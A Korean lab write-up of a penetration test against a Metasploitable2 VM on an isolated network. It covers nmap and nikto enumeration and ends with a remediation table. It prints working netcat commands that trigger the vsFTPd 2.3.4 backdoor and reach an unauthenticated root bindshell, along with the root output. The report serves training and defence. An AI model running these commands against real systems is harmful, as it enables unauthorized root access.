
격리된 네트워크의 pentest 실습실: nmap/nikto를 이용한 열거 및 Metasploitable2의 수동 익스플로잇(vsFTPd 백도어 CVE-2011-2523, bindshell)과 완전한 기술 보고서.
저자: Daniel Stefan de Jesus dos Reis
날짜: 2026년 9월
환경: 격리된 가상 네트워크 pentestlab의 개인 KVM 실습실
이 테스트는 전적으로 자체 소유의, 의도적으로 취약하게 만들어진 가상 머신을 대상으로 수행되었으며, 이 머신은 Rapid7이 공격 보안 교육 목적으로 특별히 배포한 것입니다. 또한 인터넷으로 나가는 경로가 없는 격리된 가상 네트워크 내에서 이루어졌습니다. 제3자의 시스템은 전혀 접근되지 않았습니다. 이 프로젝트는 침투 테스트 기술 개발을 위한 순수 교육 목적을 가집니다.
pentestlab (브리지 virbr-lab), 서브넷 192.168.100.0/24, <forward>가 구성되지 않음 — 즉, 진정한 격리 네트워크입니다: VM들은 서로 그리고 호스트와 통신하지만, 실습실 외부로 나가는 경로가 없습니다. 네트워크 XML은 evidencias/pentestlab_network.xml에 있습니다.virbr-lab 인터페이스를 사용하며 nmap, nikto, gobuster, hydra, sqlmap, netcat을 사용합니다.metasploitable2 (Metasploitable2, 수정된 Ubuntu 8.04), IP 192.168.100.90/24, 격리 네트워크 자체의 DHCP를 통해 할당됨.[ Host / Atacante ]
|
virbr-lab (rede isolada, sem saída para internet)
|
[ metasploitable2 ]
정찰 → 열거 → 익스플로잇 → 문서화의 기본 흐름을 따랐습니다:
nmap -sV -sC -p-)nikto)nc로 수동 수행된 수동 익스플로잇 — 단순히 "익스플로잇 실행"이 아니라 각 결함의 메커니즘을 이해하기 위함명령: nmap -sV -sC -p- -T4 192.168.100.90
전체 출력: evidencias/nmap_full_scan.txt
발견된 가장 관련성 높은 서비스 요약:
2011년 6월 30일부터 2011년 7월 3일 사이에, 다운로드용으로 배포된 vsFTPd 2.3.4의 소스 코드가 공격자에 의해 변조되었습니다. 감염된 버전에는 백도어가 포함되어 있습니다: FTP 로그인의 사용자 필드에 :)로 끝나는 문자열이 들어오면, 서버는 아무런 인증 없이 TCP 포트 6200에 root 셸을 엽니다.
수행한 단계 (전체 로그는 evidencias/vsftpd_backdoor_exploit.txt):
# 1. Disparar a backdoor enviando USER terminado em ":)"
( printf 'USER test:)\r\n'; sleep 1; printf 'PASS test\r\n'; sleep 2 ) | nc -w 5 192.168.100.90 21
# 2. Conectar na porta 6200, aberta pela backdoor
( printf 'whoami\n'; printf 'id\n'; printf 'uname -a\n'; sleep 2 ) | nc -w 5 192.168.100.90 6200
결과:
uid=0(root) gid=0(root)
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
인증 없이 완전한 root 접근을 획득했습니다.
nmap은 이미 이 서비스를 Metasploitable root shell로 식별합니다 — 이미지에 의도적으로 남겨진 백도어입니다 (훈련용 이미지에서 흔한 이전 익스플로잇의 잔재). 익스플로잇이 필요하지 않습니다: 연결만 하면 됩니다.
( printf 'whoami\n'; printf 'id\n'; sleep 2 ) | nc -w 4 192.168.100.90 1524
결과: uid=0(root) gid=0(root) groups=0(root) — 즉시 root.
전체 로그는 evidencias/bindshell_1524.txt에 있습니다.
6667/6697 포트에서 실행 중인 UnrealIRCd 버전은 역사적으로 백도어와 함께 배포된 빌드에 해당합니다 (AB; 명령 뒤에 셸 명령이 오는 형태). nc를 통해 수동으로 백도어를 발동시키려 시도했지만, 서버는 셸 명령을 실행하는 대신 입력을 유효하지 않은 IRC 명령(451 :You have not registered)으로 처리했습니다 — 이 특정 이미지에 트로이 목마화된 바이너리가 없거나, 페이로드가 이번 라운드에서 우선순위를 두지 않은 미세 조정을 필요로 하는 것입니다. 이를 확인된 취약점이 아니라 성공하지 못한 시도로 기록합니다.
연결하는 모든 클라이언트로부터 인증 없이 임의 명령을 받아들이는 분산 컴파일 서비스입니다. 버전으로 식별되었으며, 이번 라운드에서는 익스플로잇되지 않았습니다.
역사적으로 역직렬화를 통한 원격 코드 실행에 취약합니다. 버전으로 식별되었으며, 이번 라운드에서는 익스플로잇되지 않았습니다.
명령: nikto -h 192.168.100.90 -p 80
전체 출력: evidencias/nikto_scan.txt
주요 발견 사항:
TRACE 메서드 활성화 (잠재적 XST)/phpinfo.php 공개 노출 (PHP 구성 노출)/phpMyAdmin/ IP 제한 없이 접근 가능/doc/, /test/, /icons/에서 디렉터리 목록 표시 활성화httponly 플래그 없이 생성됨pentestlab 네트워크에 전용 두 번째 공격 머신(예: Kali Linux) 추가| 포트 | 서비스 | 버전 | 비고 |
|---|
| 21/tcp | FTP | vsftpd 2.3.4 | 익명 로그인 허용 + 알려진 백도어 |
| 22/tcp | SSH | OpenSSH 4.7p1 | 구버전 |
| 23/tcp | Telnet | Linux telnetd | 평문 프로토콜 |
| 25/tcp | SMTP | Postfix | — |
| 80/tcp | HTTP | Apache 2.2.8 + PHP 5.2.4 | phpMyAdmin 및 phpinfo.php 노출 |
| 139/445/tcp | SMB | Samba 3.0.20-Debian | 메시지 서명 비활성화 |
| 1099/tcp | Java RMI | GNU Classpath grmiregistry | 역사적으로 RCE에 취약 |
| 1524/tcp | bindshell | — | 인증 없이 이미 열려 있는 root 셸 |
| 3306/tcp | MySQL | 5.0.51a-3ubuntu5 | — |
| 3632/tcp | distccd | v1 | 역사적으로 RCE에 취약 (CVE-2004-2687) |
| 5432/tcp | PostgreSQL | 8.3.0–8.3.7 | — |
| 5900/tcp | VNC | 프로토콜 3.3 | — |
| 6667/6697/tcp | IRC | UnrealIRCd 3.2.8.1 | 알려진 백도어와 연관된 버전 |
| 8180/tcp | HTTP | Apache Tomcat 5.5 | — |
| 발견 사항 | 권고 |
|---|
| vsFTPd 2.3.4 백도어 | 비공식/미검증 출처의 바이너리를 절대 사용하지 말 것; 설치 전 패키지 해시/서명 검증 |
| 1524 포트의 Bindshell | 정기적으로 열린 포트 감사 (주기적 내부 nmap); 문서화되지 않은 모든 셸은 사고로 간주 |
| 인증 없이 노출된 distccd | 방화벽을 통해 신뢰할 수 있는 호스트로 제한하거나, 분산 빌드에 적극적으로 사용되지 않는다면 비활성화 |
| 노출된 phpMyAdmin/phpinfo.php | IP/VPN으로 접근 제한, 관리 도구를 공개적으로 노출하지 말 것 |
| 구버전 Apache/PHP | 패치 관리 프로세스를 활성 상태로 유지 |
| 디렉터리 목록 표시 활성화 | Apache에서 Options Indexes 비활성화 |
| 메시지 서명이 비활성화된 SMB | server signing = mandatory 활성화 |